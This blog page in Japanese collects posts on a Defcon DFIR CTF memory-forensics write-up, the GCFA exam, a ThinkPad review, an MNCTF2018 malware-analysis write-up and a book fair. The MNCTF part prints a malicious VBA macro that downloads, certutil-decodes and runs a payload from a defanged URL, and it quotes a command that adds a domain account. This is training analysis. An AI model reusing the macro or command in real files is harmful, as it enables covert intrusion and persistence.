日記帳

WE NEED メーデー 睡眠を!

Defcon DFIR CTF 2019 - Memory Forensics - をやる

Defcon DFIR CTF 2019で公開されている問題のうち、Memory Forensicsだけ片付けたので解答とかをメモ。書いていることが間違ってたらご指摘下さい……

f:id:mot_skmt:20190924020544p:plain
Defcon DFIR CTF 2019

Memory ForensicsについてはWindowsメモリイメージの調査なのでvolatilityを使って進めた。Memory Forensicsだけ手を付けたのは一番手っ取り早そうだったから。

get your volatility on (5)

What is the SHA1 hash of triage.mem?

提供されているメモリイメージのSHA1ハッシュがフラグ。Windows環境でイメージを読んでいたのでcertutilコマンドでハッシュ値を出力した。 f:id:mot_skmt:20190924022147p:plain

flag<c95e8cc8c946f95a109ea8e47a6800de10a27abd>

pr0file (10)

What profile is the most appropriate for this machine? (ex: Win10x86_14393)

メモリイメージ取得元のプロファイルがフラグ。imageinfoプラグインで調査する。

f:id:mot_skmt:20190924022739p:plain

複数の候補が出てくるが、こういうのは大抵先頭に来ているものが一番それらしいのだろうということで投入してみたら通った。

flag<Win7SP1x64>

以降、volatilityで調査する際のプロファイルにはWin7SP1x64を用いている。

hey, write this down (12)

What was the process ID of notepad.exe?

notepad.exeのプロセスIDがフラグ。pstreeで調査した。

f:id:mot_skmt:20190924023515p:plain

flag<3022>

wscript can haz children (14)

Name the child processes of wscript.exe.

wscript.exeの子プロセスの名前がフラグ。先ほどpstreeで調査した結果にwscript.exeも存在した。

f:id:mot_skmt:20190924023828p:plain

子プロセスは UWkpjFjDzM.exe

flag<UWkpjFjDzM.exe>

tcpip settings (18)

What was the IP address of the machine at the time the RAM dump was created?

調査端末でメモリイメージを取得した時点でのIPアドレスがフラグ。netscanで調査する。 f:id:mot_skmt:20190924024333p:plain

複数の結果が出てくるが、ローカルアドレスの箇所から 10.0.0.101 が割り振られていることがわかる。

flag<10.0.0.101>

intel (18)

Based on the answer regarding to the infected PID, can you determine what the IP of the attacker was?

怪しいプロセスのPIDがフラグ。それっぽいプロセスというと先ほどwscpript.exeの子プロセスとして登場したUWkpjFjDzM.exeがとても怪しい名前をしている。

f:id:mot_skmt:20190924024943p:plain

netscanの結果から UWkpjFjDzM.exeを探すと、10.0.0.106と通信を張っていることがわかる。

flag<10.0.0.106>

i <3 windows dependencies (20)

What process name is VCRUNTIME140.dll associated with?

VCRUNTIME140.dllと関連しているプロセス名がフラグ。dlllistで各プロセスが読み込んでいるDLLを確認するとOfficeClickToRun.exeEXCEL.EXEVCRUNTIME140.dllを読み込んでいることがわかる。

f:id:mot_skmt:20190924025933p:plain

結局、OfficeClickToRun.exeのプロセス名として出てきたOfficeClickToRがフラグだった。この問題についてはよくわかっていない。

flag<OfficeClickToR>

mal-ware-are-you (20)

What is the md5 hash value the potential malware on the system?

マルウェアっぽいやつというとUWkpjFjDzM.exeなので、メモリイメージからprocdumpでダンプしてMD5ハッシュを取得する。

f:id:mot_skmt:20190924030356p:plain

flag<690ea20bc3bdfb328e23005d9a80c290>

lm-get bobs hash (24)

What is the LM hash of bobs account?

bobさんのアカウントのLMハッシュがフラグ。SAMから抽出するのかなーと思いつつ調べたらすぐに出てきた。

www.aldeid.com

hivelistでSAMとSYSTEMのオフセットを得たあとに、hashdumpでオフセット値をもとにパスワードハッシュをダンプすることができるとのこと。

PS E:\> vol hivelist -f .\Triage-Memory.mem --profile=Win7SP1x64
Volatility Foundation Volatility Framework 2.6
Virtual            Physical           Name
------------------ ------------------ ----
0xfffff8a003ad2010 0x0000000125598010 \??\C:\System Volume Information\Syscache.hve
0xfffff8a00469c010 0x00000000a779d010 \SystemRoot\System32\Config\DEFAULT
0xfffff8a00000e010 0x00000000a9740010 [no name]
0xfffff8a000024010 0x00000000a97cb010 \REGISTRY\MACHINE\SYSTEM
0xfffff8a000053320 0x00000000a977a320 \REGISTRY\MACHINE\HARDWARE
0xfffff8a0000fe010 0x00000000a9625010 \SystemRoot\System32\Config\SECURITY
0xfffff8a0004db010 0x00000000a8599010 \Device\HarddiskVolume1\Boot\BCD
0xfffff8a00054b010 0x00000000a7fe3010 \SystemRoot\System32\Config\SOFTWARE
0xfffff8a000e66010 0x000000009ce84010 \SystemRoot\System32\Config\SAM
0xfffff8a000efe410 0x000000009be5c410 \??\C:\Windows\ServiceProfiles\NetworkService\NTUSER.DAT
0xfffff8a000f43010 0x000000009ba60010 \??\C:\Windows\ServiceProfiles\LocalService\NTUSER.DAT
0xfffff8a00125d010 0x000000009635a010 \??\C:\Users\Bob\AppData\Local\Microsoft\Windows\UsrClass.dat
0xfffff8a0012ea010 0x0000000096937010 \??\C:\Users\Bob\ntuser.dat

SYSTMEのオフセットは0xfffff8a000024010でSAMのオフセットは0xfffff8a000efe410。この情報をもとにhashdumpでパスワードハッシュを調査する。

PS E:\> vol hashdump -y 0xfffff8a000024010 -s 0xfffff8a000e66010 -f .\Triage-Memory.mem --profile=Win7SP1x64 > hash.txt

f:id:mot_skmt:20190924031352p:plain

BobのLMハッシュはaad3b435b51404eeaad3b435b51404eeとわかった。

flag<aad3b435b51404eeaad3b435b51404ee>

vad the impaler (25)

What protections does the VAD node at 0xfffffa800577ba10 have?

VAD node 0xfffffa800577ba10のデータ保護の状態がフラグ。 vadinfoの結果から0xfffffa800577ba10で検索した。

PS E:\> vol -f .\Triage-Memory.mem --profile=Win7SP1x64 vadinfo > vadinfo.txt

f:id:mot_skmt:20190924031923p:plain

flag<PAGE_READONLY>

more vads?! (25)

What protections did the VAD starting at 0x00000000033c0000 and ending at 0x00000000033dffff have?

同じくvadinfoの結果からStart : 0x00000000033c0000, End : 0x00000000033dffffで探すと見つかる。 f:id:mot_skmt:20190924032050p:plain

flag<PAGE_NOACCESS>

vacation bible school (25)

There was a VBS script run on the machine. What is the name of the script? (submit without file extension)

実行されていたVBScriptファイルの名前がフラグ。wscript.exeがいたのでコマンドラインスクリプトファイルの名前も出てくるとあたりをつけて調査。cmdscanでコマンドラインの実行履歴を確認した。

f:id:mot_skmt:20190924032451p:plain

flag<vhjReUDEuumrX>

thx microsoft (25)

An application was run at 2019-03-07 23:06:58 UTC, what is the name of the program? (Include extension)

実行履歴に関する内容を問われている。2019-03-07 23:06:58 UTCに実行されたアプリケーションの名前がフラグ。

shimcacheプラグインでShimcacheを分析することができるのでこれを使って調査するが、出力結果の件数が結構多いのでテキストに出力したほうがわかりやすい。

2019-03-07 23:06:58 で検索するとSkype.exeを実行していたことがわかる。

f:id:mot_skmt:20190924032633p:plain

flag<Skype.exe>

lightbulb moment (35)

What was written in notepad.exe in the time of the memory dump?

何を言っているのかよくわからない……ので、とりあえずnotepad.exeのダンプを取った。 notepad.exeのPIDはpstreeの結果から確認できる。

Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xfffffa8003de39c0:explorer.exe                     1432   1308     28    976 2019-03-22 05:32:07 UTC+0000
~中略~
. 0xfffffa80054f9060:notepad.exe                     3032   1432      1     60 2019-03-22 05:32:22 UTC+0000

notepad.exeのPIDが3032とわかったのでメモリイメージからダンプする。 その後、「メモリイメージ取得時に書き込んでいた内容が残っているのか?」と思ったのでとりあえずstringsで文字列を吐き出した。

PS E:\> vol -f .\Triage-Memory.mem --profile=Win7SP1x64 procdump -D ./ -p 3032
Volatility Foundation Volatility Framework 2.6
Process(V)         ImageBase          Name                 Result
------------------ ------------------ -------------------- ------
0xfffffa80054f9060 0x00000000ff6b0000 notepad.exe          OK: executable.3032.exe

PS E:\> strings .\3032.dmp > strings_notepad_exe.txt

色々と文字列は出てくるが、何が書かれているかというとなんとも言えない。

ところどころにflagという文字列が出てきたところでこれがCTFであることを思い出し、フラグフォーマットのflag<で検索した。するとflag<REDBULL_IS_LIFE>という文字列が見つかり、これがフラグだった。

flag<REDBULL_IS_LIFE>

8675309 (35)

What is the shortname of the file at file record 59045?

NTFSはMFTでファイルを管理する際にファイル名が8文字以上もしくは特殊な文字が入っている場合、8文字以内に無理やり収めたファイル名をつけて$FILE_NAMEに保存する特性を持っている。

例えば、This is File.txtという名前のファイルはTHISIS~1.txtのように「本来のファイル名先頭6文字+~1+拡張子」という形で$FILE_NAMEにファイル名が保存されるはず(自信がない……)。

で、この無理やり短くされたファイル名が"shortname"と呼ばれている。つまり、MFTのエントリが59045のファイルのshortnameがフラグと思われる。

とりあえずメモリイメージからMFTの情報を調べる。

PS E:\> vol -f .\Triage-Memory.mem --profile=Win7SP1x64 mftparser > mftparser.txt

59045で出力結果内を検索すると該当するファイルの情報がわかった。 f:id:mot_skmt:20190924212132p:plain

shortnameはEMPLOY~1.XLSとなっている。ちなみに本来のファイル名はEmployeeInformation.xlsxだった。

flag<EMPLOY~1.XLS>

whats-a-metasploit? (50)

This box was exploited and is running meterpreter. What PID was infected?

メモリイメージを取得した端末ではmeterpreterが動いており、そのPIDがフラグとなっている。

今まで見てきた限りmeterpreter.exeみたいなものは見つかっていないため、別の名前にリネームされている可能性が高い。そしてmeterpreterかどうかはわからないが、今まで得られた情報から怪しいプロセスというと UWkpjFjDzM.exe (PID:3496) がダントツで怪しい。

改めてnetscanの実行結果を見てみると、 UWkpjFjDzM.exe10.0.0.106:4444に対して通信していることがわかる。

Offset(P)          Proto    Local Address                  Foreign Address      State            Pid      Owner          Created
0x13e057300        UDPv4    10.0.0.101:55736               *:*                                   2888     svchost.exe    2019-03-22 05:32:20 UTC+0000
0x13e05b4f0        UDPv6    ::1:55735                      *:*                                   2888     svchost.exe    2019-03-22 05:32:20 UTC+0000
~中略~ 
0x13e397190        TCPv4    10.0.0.101:49217               10.0.0.106:4444      ESTABLISHED      3496     UWkpjFjDzM.exe 

4444は、Metasploitの攻撃側サーバが接続を待ち受けるデフォルトポート番号である。

公式ドキュメントから言及されている箇所を見つけることができなかったが、以下の記事などでも紹介されている。 www.atmarkit.co.jp

ということで、UWkpjFjDzM.exeがmeterpreterの可能性がとても高くなった。プロセスダンプでも取ってVirusTotalに投げ込めば更に確実だがそこまでするのも面倒なのでUWkpjFjDzM.exeのPIDを回答欄に入れたところ、やはりこれがフラグだった。

flag<3496>

感想

難易度がそこまで高くないこともあり、わりとさくっと解けたので気持ちよかった。弱いセキュリティの人なので本物のCTFだとまず解けずに爽快感が味わえない。

Linux Forensicsなど、積み残している他の問題にもそのうち手を付けていきたいところ。

GIAC (GCFA) に合格した

これはなに

はじめに

2月末にSANSのトレーニングを受講し、この6月にGCFAというGIACのフォレンジック系の資格試験に合格しました。試験のポリシー上どのような問題が出るか等を公にすることはできないのですが、そもそもGIAC試験に関する情報が(日本語で)あまり無いように思えたので、スケジュールや勉強法等の公開できる情報を備忘録として残します。

きっかけ

  • SANS FORENSICS 508を受講することになる
  • 幸い会社が費用負担してくれたものの、その際の条件がGIAC受験だった

勉強方法

フォレンジック/IRの実務経験は、当然あるに越したことは無いでしょうがSANS FORENSICS 508を受講していれば無くても特に問題にならないと思います。この講義ではインシデントレスポンスの基本的な考え方から、フォレンジックの進め方に至るまで詳しく解説されますので、講義内容を理解することが試験へ合格する近道ともなります(SANSの回し者っぽい言い回しになってしまった)。 また英語スキルについてですが、個人的には辞書を持ち込まなくても対応可能な内容でした。英語に自信を持てない場合は辞書の持ち込むといいと思います(英語を読めずに不合格になるのは勿体無いので)。

GIAC試験はSANSの講習を受講後、4ヶ月以内に受験する必要があります。受講2ヶ月間何もしていなかったため、GWに集中的に復習を行って試験に臨むという計画を立て、実際は以下のような流れで勉強を進めました。

  • 5月1週~2週 : SANS FORENSICS 508 のワークブック復習
  • 5月3週 : 模試受験(1回目)、得点率の低い分野と自信のない分野の復習
  • 5月4週 : 模試受験(2回目)、得点率の低い分野と自信のない分野の復習
  • 6月4日 : GIAC受験、合格

具体的に復習をどのように行ったかと言えば、ひたすらワークブックを読み込んでいただけです。SANSのワークブックはスライドとテキストでの説明が記載されていますが、トレーニング内ではスライドの内容を中心に解説が進められます(少なくとも私が受講したときはそうでした)。そのため、テキスト部分を中心に読み込んでいきました。また、ワークブックを読み込むのと並行して、トピックごとに付箋で見出しをつけていました。なお、ワークブックの末尾にはインデックスも用意されていますが、何回も登場する単語に関しては出てきた箇所のページ番号が全て記載されていて使いにくい印象を受けました。知識を定着させる意味でも実際の使い勝手という意味でも、末尾のインデックスに頼らずにワークブックのどこに何が書かれているか把握できるようにしておくことをお勧めします。

ちなみに最初の模試受験時に見出しを作らないで挑んだところ得点率58%とかなり厳しい結果になりました(この時点でかなり心は折れていた)。その後復習と見出し作成を進め、2回目の模試では得点率72%までスコアを上げています(なお、この得点率は合格ボーダーぎりぎり)。

4ヶ月の猶予を有効に使いたいという方は、ぜひ GIACの公式ページに掲載されている勉強方法を実践してください。

試験本番

GIACはテストセンターで実施されます。受講前の手続き等があり試験開始の15分前には会場入りするよう案内があったため、1時間ほど前から会場最寄りの喫茶店で復習しながら時間を潰していました。試験会場では顔写真付きの身分証明書2点の提示を求められます。私はパスポートと免許証を提示しました。受験申込完了時に送られてくるメールも持ってこいと指示されていましたが、こちらを見せる場面はありませんでした。当然ですがここに書いてある通りの動き方をして受験できなくても責任を取れないので、当日の動き方や持ち物についてはちゃんと公式ページも読んで自分で確認してください

受付での手続きが終わると会場へ持ち込む荷物以外をロッカーにしまい、会場のスタッフが持ち物検査を行います。GIACではテキストやノート等の持ち込みが認められているので、堂々と持ち込みましょう。文句を付けられるのが怖い人はGIACの試験ポリシーのページを印刷して、"Open Book Guideline"の箇所にマーカーを引いて持っていきましょう。私はワークブック全4冊とSANSが発行しているポスターをA4サイズに縮小印刷したものを持ち込みました。模試の問題を持ち込むことは認められていないので、その点だけご注意ください。持ち込もうとしても入り口で没収されると思います。

持ち込んだポスターはこちら

Windows Forensics Analysis

www.sans.org

Hunt Evil

www.sans.org

実際に試験を受けるスペースは結構せまく、ワークブック1冊広げるスペースがやっとという感じです。試験そのものはマウスで選択肢を選んでぽちぽ進めていくものなので、キーボードとかも気にしないでガバッと参考資料を広げてしまっていいと思います。試験中は復習時に自作した目次を頼りにして出てきた問題に関する記述を探す作業を行っていました。すごい勢いで紙をめくっていたため、両隣の方には大層な迷惑をかけてしまった気がします。最後の問題を解くとしばらくして画面が更新され、その場で合格/不合格がわかります。

f:id:mot_skmt:20190625000422p:plain
試験結果
最終的には、得点率80%で無事に合格することができました。

なおこの試験は10問まで問題をスキップして解くのを後回しすることができます。私は利用しませんでしたが、他の問題を解いているうちに関連するトピックに辿り着いて解けた、なんて話もあるようなので有効に活用してください。また途中休憩を取ることもできますが、休憩を取得する前にスキップしている問題を全て片付けておく必要があるそうです。

スケジュール

ここではGIAC全体に関わるスケジュールについて触れます。 先に書いたように、GIACは様々な時間的制約があります。代表的な物だけ抜粋して記載します。

  • GIAC試験はSANSトレーニング受講後4ヶ月(120日)以内に受験する必要があります
  • 試験に合格できなかった場合、受験期限終了後30日以内に再受験の申込が可能です。再受験に申し込むと受験期限が60日間延長されます。また、1回目の受験と2回目の受験の間は30日間空ける必要があります。
  • GIACに関するスケジュールはすべてGMTグリニッジ標準時)で表示されます

再受験/受験期限の延長により発生する費用は個人で負担するにはまぁまぁ重く、組織(会社)に負担させるには説明するのが面倒なくらいな金額になっています。基本的には一発合格を目指して取り組むべきものかと思います。

おわりに

一定の権威を持つ資格試験に合格できたというのは自信になりますし、勉強した成果が出たものだと素直に受け止めています。同時に、更新が面倒で堪らないが会社の資格要件に入っているので仕方なく保持してきた情報なんとか支援士はGCFAを取得したことでもういらない子かな、という気持ちになっています(GIACの資格更新も結構大変)。なお、GCFAに合格しましたが特にフォレンジックに関わる業務をする予定は今のところありません。使わないと知識は抜け落ちていきますしツールのアップデートも著しい世界なので、個人で頑張ってやっていかないとなぁという感じになっています。

ThinkPadを買って1年経った

はじめに

タイトルのとおり、ThinkPadを買って1年使ったので何となく使い勝手とかを書いてみる。 なお、機種はThinkPad X1 Carbon Gen6(2018年モデル)。

購入経緯

外で作業する際のノートPCとしてはMacbook Pro 2015を持っていた。しかしさすがに動作が不安定になってきたのと、意外に重くて持ち歩くのが辛くなってきたため新しいPCを買うことを決めた。

まぁ半分以上は「そろそろThinkPadが欲しい……どうせなら強いやつが欲しい……」というものですが。

機器選定

ThinkPadがほしい」「強いThinkPadがほしい」という2つの欲求を満たそうとする時点で候補は2つに絞られた。

  1. ThinkPad X280
    X1 Carbonと同程度の1.1kgという重さで、筐体サイズはひとまわり小さい。 価格も8万円台~なのでお財布にも優しい。ちなみにCTOでCore i7・メモリ16GB を選択して強くすると16万~と価格も強くなる。
  2. ThinkPad X1 Carbon
    モバイル用途のThinkPadにおける最上位モデル(と勝手に認識している)で、名前のとおりカーボンを使用して剛性と軽量性を両立している。X280と同程度の重さだが、画面サイズが14インチになる。

どちらも良い機器だが、「強い」ThinkPadを使いたかったので最終的にX1 Carbonを選択した。

CTO

ThinkPadはCTOでスペックのカスタマイズができる。以下、選択したCTO項目。

主要項目

  • CPU/メモリ:Core i7 & 16GB
    メモリを16GBにしようとするとCPUの選択肢は必然的にCore i7となる。
  • ディスプレイ:14.0型WQHD液晶 (2560x1440 IPS 300nit) 光沢なし
    フルHDとWQHDを選択できるが、作業領域を広く取りたかったためWQHDを選択した。光沢有無に関しては、Macの美しい画面光沢で痛い思いをしていたので迷わず非光沢を選択。
  • ストレージ:128GB ソリッドステートドライブ (M.2 2280, SATA)
    ThinkPad X1 Carbonのストレージは交換可能となっている。よほどのことが無い限りCTO項目でストレージ容量を増やすよりも自分で買ってきて交換したほうが安くつくと思う。
  • OS:Windows 10 Home 64bit
    Hyper-Vを使う予定もリモートデスクトップサーバにする予定も無いので、まぁHomeで良いかなと。どうしてもProを使う必要が出てきた場合にアップグレードすれば良いと判断した。

    その他

  • キーボード:英語キーボード
  • カメラ:IRカメラ(Windows Hello対応)

USキーボードは気分で選んだ。IRカメラはWindows Helloしてみたかったので選んだ(現在はCTO項目で選択不可?)。

これにクーポンやナイトセールの値引きが適用され、最終的な価格は 186,754円 となった。これだけ盛りに盛って20万を切るのならば安いと思う。ThinkPadはクーポン使って平日夜間に注文しろ。

購入後

台湾で組み立て後に運ばれてくるので、注文後手元に届くまで2週間弱ほどかかった。米沢モデルならもっと早いのかもしれない。

なお、SSDは早々にWDのM.2 SATA3 500GBに交換した。

SSD交換に際してOSバックアップを進める図。なお1年後の現時点においてバックアップメディアの所在は不明。

NVMeのほうがSATA3よりも高速だが、その分消費電力も大きくなるためSATA3とした。速度面での不満は特に発生していない。元々入っていたM.2 SSDは外付けケースを買ってきて外部ストレージとして活用している。

実際には秋葉原で1,000円くらいで売っていた知らないメーカーのものだが、こういうのを買ってきて中に元々ThinkPadに搭載されていたSSDを入れている。

特に開封の儀を記録してはいないので、あとは1年感使ってみた感想など。

キーボード周り

ThinkPadといえばキーボードと言われる(?)のも納得。キーピッチは広いし、変態キーボード配列でもないので、癖なく入力できる。キーストロークは比較的深く、打鍵感はしっかりとしている。この辺は人によって好みが分かれそう。1年使い続けたが、キーボードの反応が悪くなるといったことも起こっていない。

伝統のポインティングデバイス(赤ポチ)もあり、ホームポジションから最小限の移動で操作可能。結構汚れて黒ずんできたので、そろそろ新しいものに交換したい。

外装とか剛性とか

こちらもThinkPad伝統のピーチスキン加工で不思議な手触り。撫でてて飽きないが、指紋や水滴などがつくと結構目立ってしまう。 海外に連れて行ったり、ケースに入れないままカバンに放り込んだり、枕の下に敷いたまま寝てしまったりと割と雑な使い方をしているが筐体が歪んでいる気配は無い。

スペック

仮想マシンを起動しながらの作業を行うこともあるが、VM側にCPU2プロセッサ、メモリ8GBを割り振っても快適に作業することができる。動作自体は快適だが、それなりに発熱する状態となるので足の上に乗せて作業するときなどは注意が必要となる。この状態になるとファン音も結構うるさい。

おわりに

ThinkPadを褒めてばかりの投稿となったが、実際使っていて不満は特に無い。飽きのこないデザインだし、きっと今後も長く使い続けることになると思う。

ちなみにThinkPadも他のPCと同じく毎年モデルチェンジしている。

ThinkPad X1 Carbonは年始のCESで2019年モデルが発表されている。電源ボタンの位置が変更されたり、4Kディスプレイが選べるようになったりと変更点がある。日本国内向けの発売日は未定だが2019年モデルを待ったり、2019年モデルの発売後にあわせて価格が下がった2018年モデルを買うのも良いかもしれない。

japanese.engadget.com

また、1年前にX1 Carbonと悩んだThinkPad X280は、後継機種がThinkPad X380にモデルチェンジして発売されている。本体サイズが少し大きくなるものの、ディスプレイが狭額縁の13.3型で、イメージとしてはX280とX1 Carbonの中間くらいとなる。

www.lenovo.com

今選ぶなら価格と使い勝手のバランスがさらに良くなったX390を買っているかもしれないが、「欲しい時が買い時」なので。

MNCF2018 Writeup

はじめに

Macnica Networks Day 2018 で開催されたMNCTF2018に参加しました。現地勢で参加したのは初めて。せっかくだから記録としてWriteupを残しておきます(間違いとか不十分なところがあれば優しく指摘してほしい)。

("✓"がついているのは解けた問題です)

f:id:mot_skmt:20180712145229j:plain

✔新人奮闘I☆☆☆ スコア:20 Pts

マルウェアのSHA256ハッシュを答える。問題ファイル(AD_OptimizationTool.exe)を落としてPEsdudioに突っ込むとハッシュを表示してくれる。

FLAG : F24F5629BE2E0F821ADB36FE4D47407937F5A318BF96AE3655B628F833040F29

✔新人奮闘II★☆☆ スコア:60 Pts

Webフォームの形で用意されている表層解析レポートを穴埋めで作成する。 f:id:mot_skmt:20180712234323j:plain フォームに下記の情報を埋めていくとFLAGが表示される。

  • MD5ハッシュ
  • SHA1ハッシュ
  • SHA256ハッシュ
  • コンパイル日時(UTC;yyyy/mm/dd hh:mm:ss
  • Import関数とImport元のDLL

FLAG : d56d9a6036bd18ee98878eb74ae8d663

解説ではCyberChefというツールを使用していた。Webブラウザ上でファイルの様々な情報を表示することができる便利ツールということなので、今後使ってみたい。

✔新人奮闘III★☆☆ スコア:40 Pts

AD_OptimizationTool.exe実行時に実行されるコマンドを答える。PEstudioやらStringsやらで文字列を見るとコマンドが表示されている。 VirusTotalにアップロードされている問題ファイルを参照してもたどり着くことができる。

FLAG : cmd /c net user /add /domain vpnadmin P@ssw0rD1!

✔新人奮闘IV★☆☆ スコア:40 Pts

VPNのログの中から、不正アクセスの疑いがある時刻を答える。ログは長いので省略。1つ前の問題のFLAGから「ユーザ名:vpnadmin, パスワード:P@ssw0rD1!」でアクセスを試みそうなことがわかるのでvpnadminのアクセスを検索したところ、1件だけヒットした。

2018/07/13 15:01,vpnadmin,27.117.128.1

FLAG : 2018/07/13 15:01

✔新人奮闘V★☆☆ スコア:40 Pts

不正ログインしてきたIPアドレスを元に攻撃元の国を特定し、日本語で国名を回答する。先程の問題から攻撃元のIPアドレスは"27[.]117[.]128[.]1"だとわかるのでWhoisを引く。

inetnum:        27.117.128.0 - 27.117.191.255
netname:        TBROAD
descr:          Tbroad Suwon Broadcasting Corporation
admin-c:        IM576-AP
tech-c:         IM576-AP
country:        KR
status:         ALLOCATED PORTABLE
mnt-by:         MNT-KRNIC-AP
mnt-irt:        IRT-KRNIC-KR
last-modified:  2017-02-02T02:23:07Z
source:         APNIC

ということで韓国のドメインらしい。

FLAG : 韓国

大量不正★★☆ スコア:80 Pts

解けなかった問題。ssdeepで解くのだろうなと予想はできたがツールの使い方がわからず…… 解説によるとssdeep -dcdr %というコマンドで類似ファイルを表示することができたらしい。

✔種類特定★★☆ スコア:80 Pts

pcapファイルが与えられ、通信の内容からマルウェアの名前を特定して英字で回答する問題。 なんとなくWiresharkで確認したくなるが、pcapファイルをVirusTotalにアップロードするとUrsnifの通信だということがわかる。しかしUrsnifと入力してもFLAGが通らなかったため、関連しそうな名称(DreambotとかGoziとか)を試していたら正解した。

FLAG : Gozi

凌さんの解説ではSnortを用いて解いていた。Windows版は設定が面倒なためWSLを使うのがオススメとのこと。

✔標的攻撃I★★☆ スコア:60 Pts

特定のユーザ名の環境でないと動作しない処理が組み込まれた問題ファイルとしてエクセルファイルが与えられ、ユーザ名を回答する。 貧乏人なのでLibreOfficeでファイルを開くとマクロが含まれていることがわかったので、マクロの内容を調べる方針で進めた。 ファイルハッシュをVirusTotalで検索すると、マクロの中身を見ることができた。VTえらい。

www.virustotal.com

Private Sub Workbook_Open()

us = Application.UserName

For Each C In ActiveSheet.Range("C6:C11")
    If us = C.Value Then
        Set objShell = CreateObject("WScript.Shell")
        startupFolder = objShell.SpecialFolders("Startup")
        Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
        Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
        xHttp.Open "GET", "hxxps://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert", False
        xHttp.Send
        With bStrm
            .Type = 1 '//binary
            .Open
            .write xHttp.responseBody
            .savetofile startupFolder & "\cert.pem", 2 '//overwrite
        End With
        Sleep (10000)
        Shell "certutil -decode """ & startupFolder & "\cert.pem"" """ & startupFolder & "\cert.exe"""
        Sleep (5000)
        Shell startupFolder & "\cert.exe"
    End If
Next

End Sub

※元URLをマスクしています。

マクロの中身を見るとC列に記載されている値とユーザ名を照らし合わせているように見える。しかしエクセルはC列が非表示となっているため、これを表示させると複数のユーザ名が記載されていた。複数あるがどれを入れても正解になるはず。

FLAG : Sho Shinogi

解説ではoletoolsを用いてマクロを取り出していた。

✔標的攻撃II★★☆ スコア:40 Pts

先程のマクロにより発生するHTTPS通信の通信先URLを回答する。マクロ内に平文で記述されているURLで答える。

FLAG : hxxps://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert

※元URLをマスクしています。

✔標的型攻撃III★★☆ スコア:80 Pts

上記マクロの実行後に生成される二次検体のSHA256ハッシュを回答する問題。1つ前のFALGのURLにアクセスするとBase64の文字列があったので、デコードして保存するとPEファイルとなった。このファイルのSHA256がFLAG。

FLAG : C4F069D079330CD46E51F9469C27015ED34C6371481DF83A323BC098F3B53382

✔標的攻撃IV★★☆ スコア:80 Pts

1つ前の問題のPEファイルを実行すると発生するHTTPS通信の宛先URLを回答する問題。時間が無かったのでVirusTotalでファイルを検索したところ既に誰かがアップロードしていた。

Behaviorに通信先などの情報も表示されている。 f:id:mot_skmt:20180712235538j:plain

FLAG : hxxps://shinobotps1.com/download_get.php

※元URLをマスクしています。

穴埋防御★★★ スコア:100 Pts

解けなかった問題。

盗難情報★★☆ スコア:100 Pts

解けなかった問題。

yaraルールの穴埋め問題。問題ファイル(Base64エンコードされた文字列)と不完全なyaraルールが与えられるので、yaraルールを完成させましょうというもの。

まとめ

オンサイトCTFは緊張感があって楽しいです。昨年の問題と比べて今年は1つのインシデント調査を複数の問題にわたって行う形式が多かったように感じました。調査の流れを追うことができるので、トレーニング向きだなぁと思います。

問題を解く際はだいたいのことはVirusTotalがなんとかしてくれました。一方で無闇やたらにファイルをアップロードすることが現実には難しいことも事実なので、自分の手で目的の情報にたどり着くスキルも必要ですね。

例によって今年も問題は公開されているので、解けなかった問題も取り組んでいこうと思います。

http://mnctf.info/mnctf2018/

技術書典4 に行ってきました

技術書典4に一般参加で参加してきました。なんだかんだで第1回から通い詰めています。

techbookfest.org

戦利品

色々買い込みました。

今回購入させていただいた薄い本はなぜかどれも厚みのあるものばかりで、まだ流し読み程度しか出来ていません。ふんわりさっくりLinuxカーネルがとてもゆるい感じでLinuxカーネルを説明しており良かったです。OOM Killer ステッカーがかわいい。

詳細は後述しますが今回初めて技術書典公式「かんたん後払いアプリ」を利用したところ、とてもスムーズに買い物をすることが出来ました。

当日の感想

  • 快晴
    技術書典にしては珍しく快晴でした(第1回は曇天、第2回は雨天、第3回は台風)。快晴どころか4月とは思えないほどの気温となっていました。

  • 人多くない?
    快晴効果なのか、いつも以上に来場者が多かったように感じます。開場30分前に到着し整理券を受け取ったところ既に最初の入場待機列には並べない500番台となっていました。午後になっても混雑は続いていたようで、運営の整理券番号ツイートを見ると5,200名以上の技術者が来場されたようです。

  • かんたん後払いアプリ is 最&高
    技術書典では第3回開催以降、運営の手で「かんたん後払いシステム」が提供されています。参加者が技術者なら運営も当然技術者です。

    かんたん後払いシステム提供のお知らせ | 技術書典ブログ

    同人誌即売会イベントで一般参加者・サークル参加者ともに負担となるのが小銭と1,000円札の準備ではないでしょうか。同人イベントではサークルに釣り銭負担をかけないために小銭でぴったり支払うのが半ば常識となっています。しかし普段から意識していないとなかなか小銭を用意することは出来ません。 また、すし詰め状態のイベント会場で財布を取り出して小銭を用意する作業を繰り返すのは単純に時間がかかり面倒です。財布を落としたりした日には目も当てられません。

    そこで今回、初めてかんたん後払いアプリを使ってみました。利用するためには事前認証が必要ですが、この時点でのカード番号登録などは必要ありません。本人確認のSMS認証を行うだけでした。 そしてイベント当日は財布を一切取り出すことなく購入の手続きを終えることができます。会場で目当ての本を見つけたら「アプリの支払いで」とか「QRで」とか伝えて、アプリのQRリーダーでバーコードを読み込めば終わり。シンプル。最高。お金を使う後ろめたさを感じることなく荷物を増やしていくことが可能です。 後日技術書典運営から支払い案内のメールが届くので、PayPal or Stripeで支払って現実を知ります。ちなみに私はPayPalで決済しましたが、このときもログイン等必要なくとてもスムーズに終える事ができました。

    冗長な文章ですが、実際に使用すると本当にストレスなく薄い本を買い込んでいくことが出来るので非常にオススメです。まだ使ったことが無いという方はぜひ一度利用してみてください!

まとめ

同人誌即売会は一期一会の出会いも大切ですが、それはそれとしてサークルチェックは入念に行いましょう。